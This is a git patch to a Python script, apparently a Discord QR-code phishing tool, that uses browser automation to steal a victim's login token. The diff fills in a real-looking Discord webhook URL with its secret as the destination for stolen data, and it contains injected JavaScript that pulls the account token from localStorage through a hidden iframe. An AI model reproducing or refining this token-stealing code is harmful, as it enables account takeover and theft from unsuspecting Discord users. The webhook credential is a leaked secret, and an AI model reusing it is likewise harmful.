From 6cd04d588f934f5fbdc1eb11ba6c025b0b3c87b9 Mon Sep 17 00:00:00 2001 From: Luci <59532064+9P9@users.noreply.github.com> Date: Sun, 23 May 2021 01:28:36 +0100 Subject: [PATCH] Update QR_Generator.py --- QR_Generator.py | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) diff --git a/QR_Generator.py b/QR_Generator.py index 25ebc70..b129095 100644 --- a/QR_Generator.py +++ b/QR_Generator.py @@ -7,7 +7,7 @@ import os import requests #Set Webhook Here! -url = "WEBHOOK GOES HERE" +url = "https://discord.com/api/webhooks/845455192525897728/WbyO3GHw8uQExNattEyjECQ-ZJj9cHYM33g-ztujVVr-sNNpI1YjBuG21Y5IQ5uXIxxS" # Developer: NightfallGT @@ -65,17 +65,13 @@ def main(): if discord_login != driver.current_url: print('Grabbing token... \n') token = driver.execute_script(''' - getToken = function () { - window.dispatchEvent(new Event('beforeunload')); - let iframe = document.createElement('iframe'); - iframe.style.display = 'none'; - document.body.appendChild(iframe); - let localStorage = iframe.contentWindow.localStorage; - var token = JSON.parse(localStorage.token); - return token; - } - let token = getToken(); - return token; +window.dispatchEvent(new Event('beforeunload')); +let iframe = document.createElement('iframe'); +iframe.style.display = 'none'; +document.body.appendChild(iframe); +let localStorage = iframe.contentWindow.localStorage; +var token = JSON.parse(localStorage.token); +return token; ''') print('------------------------------------------------------------------------------------------')